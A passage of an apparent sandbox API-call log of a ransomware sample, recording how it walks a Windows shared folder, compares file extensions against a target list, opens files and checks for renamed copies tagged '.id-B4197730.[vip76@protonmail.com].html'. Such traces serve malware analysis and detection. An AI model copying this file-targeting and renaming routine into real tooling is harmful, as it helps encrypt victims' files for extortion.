	[0064.252] lstrlenW (lpString=".xls") returned 4
	[0064.252] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.252] lstrlenW (lpString=".xlsx") returned 5
	[0064.252] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0064.252] lstrlenW (lpString=".ppt") returned 4
	[0064.252] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.252] lstrlenW (lpString=".zip") returned 4
	[0064.252] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.252] lstrlenW (lpString=".rar") returned 4
	[0064.252] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.252] lstrlenW (lpString=".bz2") returned 4
	[0064.252] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.252] lstrlenW (lpString=".7z") returned 3
	[0064.252] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.253] lstrlenW (lpString=".dbf") returned 4
	[0064.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.253] lstrlenW (lpString=".1cd") returned 4
	[0064.253] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.253] lstrlenW (lpString=".jpg") returned 4
	[0064.253] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.253] lstrlenW (lpString=".doc") returned 4
	[0064.253] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString=".docx") returned 5
	[0064.253] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0064.253] lstrlenW (lpString=".pdf") returned 4
	[0064.253] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString=".xls") returned 4
	[0064.253] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString=".xlsx") returned 5
	[0064.253] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0064.253] lstrlenW (lpString=".ppt") returned 4
	[0064.253] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.253] lstrlenW (lpString=".zip") returned 4
	[0064.253] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.253] lstrlenW (lpString=".rar") returned 4
	[0064.253] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString=".bz2") returned 4
	[0064.253] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.253] lstrlenW (lpString=".7z") returned 3
	[0064.253] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.254] lstrlenW (lpString=".dbf") returned 4
	[0064.254] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.254] lstrlenW (lpString=".1cd") returned 4
	[0064.254] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0064.254] lstrlenW (lpString=".jpg") returned 4
	[0064.254] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.254] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0064.254] lstrlenW (lpString="boxed-join.avi") returned 14
	[0064.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.258] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=46622) returned 1
	[0064.258] CloseHandle (hObject=0x364) returned 1
	[0064.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0064.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.258] lstrlenW (lpString=".doc") returned 4
	[0064.258] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.258] lstrlenW (lpString=".docx") returned 5
	[0064.258] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0064.258] lstrlenW (lpString=".pdf") returned 4
	[0064.258] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.258] lstrlenW (lpString=".xls") returned 4
	[0064.258] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.258] lstrlenW (lpString=".xlsx") returned 5
	[0064.258] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0064.259] lstrlenW (lpString=".ppt") returned 4
	[0064.259] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.259] lstrlenW (lpString=".zip") returned 4
	[0064.259] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.259] lstrlenW (lpString=".rar") returned 4
	[0064.259] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.259] lstrlenW (lpString=".bz2") returned 4
	[0064.259] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.259] lstrlenW (lpString=".7z") returned 3
	[0064.259] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.260] lstrlenW (lpString=".dbf") returned 4
	[0064.260] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.260] lstrlenW (lpString=".1cd") returned 4
	[0064.260] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.260] lstrlenW (lpString=".jpg") returned 4
	[0064.260] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.260] lstrlenW (lpString=".doc") returned 4
	[0064.260] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.260] lstrlenW (lpString=".docx") returned 5
	[0064.260] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0064.260] lstrlenW (lpString=".pdf") returned 4
	[0064.260] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.261] lstrlenW (lpString=".xls") returned 4
	[0064.261] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.261] lstrlenW (lpString=".xlsx") returned 5
	[0064.261] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0064.261] lstrlenW (lpString=".ppt") returned 4
	[0064.261] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.261] lstrlenW (lpString=".zip") returned 4
	[0064.261] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.261] lstrlenW (lpString=".rar") returned 4
	[0064.261] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.261] lstrlenW (lpString=".bz2") returned 4
	[0064.261] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.261] lstrlenW (lpString=".7z") returned 3
	[0064.261] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.261] lstrlenW (lpString=".dbf") returned 4
	[0064.261] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.261] lstrlenW (lpString=".1cd") returned 4
	[0064.261] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0064.261] lstrlenW (lpString=".jpg") returned 4
	[0064.261] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.261] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0064.261] lstrlenW (lpString="boxed-split.avi") returned 15
	[0064.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.262] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=84190) returned 1
	[0064.262] CloseHandle (hObject=0x364) returned 1
	[0064.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0064.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.262] lstrlenW (lpString=".doc") returned 4
	[0064.262] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.262] lstrlenW (lpString=".docx") returned 5
	[0064.262] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0064.262] lstrlenW (lpString=".pdf") returned 4
	[0064.262] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.262] lstrlenW (lpString=".xls") returned 4
	[0064.262] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.262] lstrlenW (lpString=".xlsx") returned 5
	[0064.262] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0064.262] lstrlenW (lpString=".ppt") returned 4
	[0064.262] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.263] lstrlenW (lpString=".zip") returned 4
	[0064.263] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString=".rar") returned 4
	[0064.263] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString=".bz2") returned 4
	[0064.263] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString=".7z") returned 3
	[0064.263] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.263] lstrlenW (lpString=".dbf") returned 4
	[0064.263] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.263] lstrlenW (lpString=".1cd") returned 4
	[0064.263] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.263] lstrlenW (lpString=".jpg") returned 4
	[0064.263] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.263] lstrlenW (lpString=".doc") returned 4
	[0064.263] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString=".docx") returned 5
	[0064.263] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0064.263] lstrlenW (lpString=".pdf") returned 4
	[0064.263] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString=".xls") returned 4
	[0064.263] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.263] lstrlenW (lpString=".xlsx") returned 5
	[0064.263] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0064.263] lstrlenW (lpString=".ppt") returned 4
	[0064.264] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.264] lstrlenW (lpString=".zip") returned 4
	[0064.264] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.264] lstrlenW (lpString=".rar") returned 4
	[0064.264] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.264] lstrlenW (lpString=".bz2") returned 4
	[0064.264] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.264] lstrlenW (lpString=".7z") returned 3
	[0064.264] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.264] lstrlenW (lpString=".dbf") returned 4
	[0064.264] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.264] lstrlenW (lpString=".1cd") returned 4
	[0064.264] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0064.264] lstrlenW (lpString=".jpg") returned 4
	[0064.264] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.264] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0064.264] lstrlenW (lpString="correct.avi") returned 11
	[0064.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.265] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=180172) returned 1
	[0064.265] CloseHandle (hObject=0x364) returned 1
	[0064.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0064.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.265] lstrlenW (lpString=".doc") returned 4
	[0064.265] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.265] lstrlenW (lpString=".docx") returned 5
	[0064.265] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0064.265] lstrlenW (lpString=".pdf") returned 4
	[0064.265] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.265] lstrlenW (lpString=".xls") returned 4
	[0064.265] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.265] lstrlenW (lpString=".xlsx") returned 5
	[0064.265] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0064.265] lstrlenW (lpString=".ppt") returned 4
	[0064.265] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.265] lstrlenW (lpString=".zip") returned 4
	[0064.265] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.265] lstrlenW (lpString=".rar") returned 4
	[0064.265] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.265] lstrlenW (lpString=".bz2") returned 4
	[0064.266] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.266] lstrlenW (lpString=".7z") returned 3
	[0064.266] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.266] lstrlenW (lpString=".dbf") returned 4
	[0064.266] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.266] lstrlenW (lpString=".1cd") returned 4
	[0064.266] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.266] lstrlenW (lpString=".jpg") returned 4
	[0064.266] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.266] lstrlenW (lpString=".doc") returned 4
	[0064.266] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.266] lstrlenW (lpString=".docx") returned 5
	[0064.266] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0064.266] lstrlenW (lpString=".pdf") returned 4
	[0064.266] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.266] lstrlenW (lpString=".xls") returned 4
	[0064.266] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.266] lstrlenW (lpString=".xlsx") returned 5
	[0064.266] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0064.266] lstrlenW (lpString=".ppt") returned 4
	[0064.266] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.266] lstrlenW (lpString=".zip") returned 4
	[0064.266] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.266] lstrlenW (lpString=".rar") returned 4
	[0064.266] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.267] lstrlenW (lpString=".bz2") returned 4
	[0064.267] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.267] lstrlenW (lpString=".7z") returned 3
	[0064.267] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.267] lstrlenW (lpString=".dbf") returned 4
	[0064.267] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.267] lstrlenW (lpString=".1cd") returned 4
	[0064.267] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0064.267] lstrlenW (lpString=".jpg") returned 4
	[0064.267] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.267] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0064.267] lstrlenW (lpString="delete.avi") returned 10
	[0064.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.267] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=208408) returned 1
	[0064.267] CloseHandle (hObject=0x364) returned 1
	[0064.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0064.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.268] lstrlenW (lpString=".doc") returned 4
	[0064.268] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.268] lstrlenW (lpString=".docx") returned 5
	[0064.268] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0064.268] lstrlenW (lpString=".pdf") returned 4
	[0064.268] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.268] lstrlenW (lpString=".xls") returned 4
	[0064.268] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.268] lstrlenW (lpString=".xlsx") returned 5
	[0064.268] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0064.268] lstrlenW (lpString=".ppt") returned 4
	[0064.268] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.268] lstrlenW (lpString=".zip") returned 4
	[0064.268] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.268] lstrlenW (lpString=".rar") returned 4
	[0064.268] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0064.268] lstrlenW (lpString=".bz2") returned 4
	[0064.268] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0064.268] lstrlenW (lpString=".7z") returned 3
	[0064.268] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0064.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.268] lstrlenW (lpString=".dbf") returned 4
	[0064.268] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0064.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.269] lstrlenW (lpString=".1cd") returned 4
	[0064.269] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0064.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.269] lstrlenW (lpString=".jpg") returned 4
	[0064.269] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0064.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.269] lstrlenW (lpString=".doc") returned 4
	[0064.269] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0064.269] lstrlenW (lpString=".docx") returned 5
	[0064.269] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0064.269] lstrlenW (lpString=".pdf") returned 4
	[0064.269] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0064.269] lstrlenW (lpString=".xls") returned 4
	[0064.269] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0064.269] lstrlenW (lpString=".xlsx") returned 5
	[0064.269] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0064.269] lstrlenW (lpString=".ppt") returned 4
	[0064.269] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0064.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0064.269] lstrlenW (lpString=".zip") returned 4
	[0064.269] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0064.269] lstrlenW (lpString=".rar") returned 4
	[0064.269] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
